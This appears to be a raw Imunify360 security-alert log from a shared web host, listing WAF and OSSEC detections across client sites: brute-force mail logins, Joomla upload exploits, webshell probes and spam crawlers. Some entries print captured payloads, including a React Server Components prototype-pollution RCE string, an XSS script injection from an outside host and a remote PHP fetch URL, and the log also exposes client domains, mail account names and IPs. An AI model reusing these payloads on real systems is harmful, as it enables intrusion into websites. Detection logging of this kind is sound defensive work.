abuser: 152.59.30.106
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/structured-cabling-systems HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.124.199.180
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c22629625 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-07-18 11:55:28 dovecot_login authenticator failed for H=(c-73-101-102-237.hsd1.pa.comcast.net) [103.120.116.162]:53169: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.16.52.109
country_id: 3175395
description:
2026-07-18 11:55:46 dovecot_login authenticator failed for H=host-79-16-52-109.retail.telecomitalia.it ([117.244.16.6]) [79.16.52.109]:60314: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77469916
abuser: 173.255.194.248
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s436486.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.158
country_id: 1733045
description:
2026-07-18 12:05:10 dovecot_login authenticator failed for H=(42-200-73-3.static.imsbiz.com) [183.171.49.158]:45208: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-18 12:04:48 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([98.182.171.163]) [89.67.37.52]:38042: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 173.255.194.248
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s467992.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-18 12:06:55 dovecot_login authenticator failed for H=([182.95.87.177]) [45.82.110.150]:49152: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.50
country_id: 1668284
description:
2026-07-18 12:07:06 dovecot_login authenticator failed for H=(oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net) [101.13.5.50]:54282: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:\xe4\xb8\xbb\xe5\x9b\xbe02.png||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:\xe4\xb8\xbb\xe5\x9b\xbe03.png||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:\xe4\xb8\xbb\xe5\x9b\xbe05.png||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:\xe4\xb8\xbb\xe5\x9b\xbe07.png||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 173.255.194.248
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s345234.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.238.227.113
country_id: 6252001
description:
2026-07-18 12:14:51 dovecot_plain authenticator failed for H=c-98-238-227-113.hsd1.ca.comcast.net (sushnost) [98.238.227.113]:45948: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/ddgalaxy/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.34.229.12
country_id: 1668284
description:
2026-07-18 12:16:31 dovecot_login authenticator failed for H=1-34-229-12.hinet-ip.hinet.net (157.ip-51-75-142.eu) [1.34.229.12]:52428: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.116.114
country_id: 1269750
description:
2026-07-18 12:16:41 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [128.185.116.114]:53408: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.1.98.72
country_id: 1562822
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:89733.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b40dfdf001e63a8769388b6d23d1310baef41460||Title:0x8b404164||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:01.jpg||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:04.jpg||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:05.jpg||RSV:8.31||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 163.223.211.27
country_id: 1562822
domain: cochinbigbandshow.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:296028||Sizes:14782||Combined size:14782||User:cochinbigbandsho||WPU:||Filename:icowqoltg.zip||Scanned:/tmp//20260718-123225-alslAdjHzL3Cl_dv_yINzAAAAQA-file-OsFHAX||SC:/home/cochinbigbandsho/public_html/component||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.37.128.4
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es90?Itemid=101&catid=18 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.17.43.206
country_id: 3017382
description:
[2026-07-18 12:36:03 +0530] info [cpaneld] 84.17.43.206 - - "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 84.17.43.206
country_id: 3017382
description:
[2026-07-18 12:36:06 +0530] info [cpaneld] 84.17.43.206 - - "GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-18 12:37:38 dovecot_login authenticator failed for H=([49.124.151.83]) [207.188.158.216]:65109: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.1.128
country_id: 1668284
description:
2026-07-18 12:37:52 dovecot_login authenticator failed for H=111-70-1-128.emome-ip.hinet.net ([206.220.175.5]) [111.70.1.128]:37884: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-18 12:39:05 dovecot_login authenticator failed for H=([162.253.68.102]) [207.254.29.22]:61037: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.253.147.12
country_id: 6252001
description:
2026-07-18 12:39:15 dovecot_login authenticator failed for H=cm-170-253-147-12.maxxsouthbb.net ([178.178.194.134]) [170.253.147.12]:60184: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.248
country_id: 1733045
description:
2026-07-18 12:43:34 dovecot_login authenticator failed for H=([153.35.192.98]) [49.124.147.248]:49280: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 100.58.239.2
country_id: 6252001
domain: apkmetal.in
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.31||T:APACHE||MV:/wp-json/wp/v2/users?per_page=10&_fields=name,slug,url||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-18 12:43:57 dovecot_login authenticator failed for H=([66.54.169.3]) [129.45.84.119]:56830: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-18 12:44:00 dovecot_login authenticator failed for H=(111-70-32-10.emome-ip.hinet.net) [203.192.211.180]:44458: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-18 12:44:15 dovecot_login authenticator failed for H=([196.190.180.18]) [1.250.67.114]:41500: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77093094
abuser: 54.234.71.245
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/safe_check_11111;307;'});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.41.227
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pa-systems/projection-mapping HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-07-18 12:49:51 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [62.164.148.87]:56230: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.111.227.52
country_id: 6252001
description:
2026-07-18 12:50:15 dovecot_login authenticator failed for H=24-111-227-52-dynamic.midco.net ([49.124.153.37]) [24.111.227.52]:46174: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.101.159
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/hotels-and-offices HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.159
country_id: 6252001
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:192.186.151.159||TA:192.186.151.159||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-18 13:01:45 dovecot_login authenticator failed for H=([46.183.130.145]) [65.20.205.197]:51932: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-07-18 13:02:04 dovecot_login authenticator failed for H=([111.26.63.88]) [203.172.213.166]:55882: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:02.jpg||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 193.148.56.148
country_id: 732800
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_gvikql.xml.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 193.148.56.148
country_id: 732800
domain: travelinbh.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icowacnun/fonts/fgllhuh.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.24
country_id: 1668284
description:
2026-07-18 13:13:51 dovecot_login authenticator failed for H=221-120-73-24.emome-ip.hinet.net ([103.174.145.35]) [221.120.73.24]:48331: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-18 13:14:07 dovecot_login authenticator failed for H=([117.173.101.132]) [188.122.37.97]:39798: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.234.200.161
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4b2872181 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 165.22.102.84
country_id: 1880251
domain: ddgalaxy.in
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx61416.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-18 13:29:00 dovecot_login authenticator failed for H=([41.60.186.153]) [182.95.106.138]:33484: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-18 13:31:04 dovecot_login authenticator failed for H=([178.178.222.58]) [117.211.15.93]:55834: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.234.223.225
country_id: 6252001
description:
2026-07-18 13:30:47 dovecot_login authenticator failed for H=wsip-24-234-223-225.lv.lv.cox.net ([101.13.5.88]) [24.234.223.225]:45780: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.148.34
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:173.208.148.34||TA:173.208.148.34||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.211.228
country_id: 1835841
description:
2026-07-18 13:36:49 dovecot_login authenticator failed for H=([184.185.2.1]) [112.164.211.228]:60042: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.184.65.81
country_id: 6252001
description:
2026-07-18 13:37:14 dovecot_login authenticator failed for H=wsip-70-184-65-81.oc.oc.cox.net ([65.20.150.62]) [70.184.65.81]:37091: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-18 13:38:28 dovecot_login authenticator failed for H=([49.124.148.195]) [106.247.22.181]:49238: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.185
country_id: 337996
description:
2026-07-18 13:39:32 dovecot_login authenticator failed for H=(5.189.23.23-FTTB.planeta.tc) [196.189.126.185]:37180: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.56.156.49
country_id: 3175395
description:
2026-07-18 13:38:42 dovecot_login authenticator failed for H=host-185-56-156-49.mywic.eu ([154.146.238.122]) [185.56.156.49]:60488: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-18 13:39:41 dovecot_login authenticator failed for H=([119.152.54.111]) [122.187.174.78]:33860: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:01-45W.jpg||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.134.30
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvac-ductwork-airflow-gladeville-tn.zzz-1.com/\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:02-\xe9\x80\x82\xe9\x85\x8d\xe6\x80\xa7.jpg||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:05-\xe5\xae\x89\xe5\x85\xa8\xe4\xbf\x9d\xe6\x8a\xa4.jpg||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 112.121.184.238
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.31||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script src=\"https://xxx.com/fp/v1.min.js\"></script>||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://24hourhvacrepair1.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-18 13:46:20 dovecot_login authenticator failed for H=([110.14.192.20]) [114.30.223.119]:57071: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784362720730.phtml||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-18 13:46:40 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net ([192.111.130.1]) [221.120.4.61]:51730: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-18 13:46:56 dovecot_login authenticator failed for H=(undefined.sevstar.net) [207.254.40.89]:61541: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.147.111.106
country_id: 1522867
description:
2026-07-18 13:47:30 dovecot_login authenticator failed for H=(wsip-68-111-37-185.sb.sd.cox.net) [91.147.111.106]:63814: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: ibmcglobal.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:ibmcglobal||SC:/home/ibmcglobal/public_html/index.php||WPU:||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.51.21.95
country_id: 1269750
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:93205.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cbe639d75b56cd5f1540d10f3fda856119518ec5||Title:0x0cfda601||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 83.104.192.22
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d9258051 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.80.157.142
country_id: 1835841
description:
2026-07-18 13:53:51 dovecot_login authenticator failed for H=([65.20.204.179]) [61.80.157.142]:40673: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-18 13:54:02 dovecot_login authenticator failed for H=([67.201.39.9]) [171.244.60.35]:14174: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/keralapeople/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.27
country_id: 1733045
description:
2026-07-18 14:02:40 dovecot_login authenticator failed for H=([184.185.2.1]) [49.124.153.27]:59438: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.169
country_id: 1819730
description:
2026-07-18 14:03:06 dovecot_login authenticator failed for H=169.47.246.220.static.netvigator.com ([1.223.184.226]) [220.246.47.169]:55447: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.86.65
country_id: 1835841
description:
2026-07-18 14:08:26 dovecot_login authenticator failed for H=(fides217.static.host.gvt.net.br) [183.104.86.65]:57070: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-18 14:08:48 dovecot_login authenticator failed for H=([111.70.39.216]) [59.145.160.134]:45132: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.173.161
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com/robots.txt HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.45.13
country_id: 3175395
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fefkadirectorsunion.com/robots.txt HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.52.245
country_id: 2635167
domain: fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com/news-sitemap.xml HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.7.123
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com/sitemap.xml.gz HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.235.121
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com/wp-sitemap.xml HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.230.90
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com/sitemap.xml HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.185.97
country_id: 1605651
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fefkadirectorsunion.com/news-sitemap.xml HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/globalgroupoman/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.185.199.72
country_id: 2077456
description:
2026-07-18 14:16:37 dovecot_login authenticator failed for H=([197.219.208.38]) [203.185.199.72]:35575: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-18 14:17:04 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net ([49.124.142.132]) [65.73.230.102]:33142: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.255.126.47
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:14-19.185.255.126.47||RSV:8.31||T:APACHE||


plugin: ossec
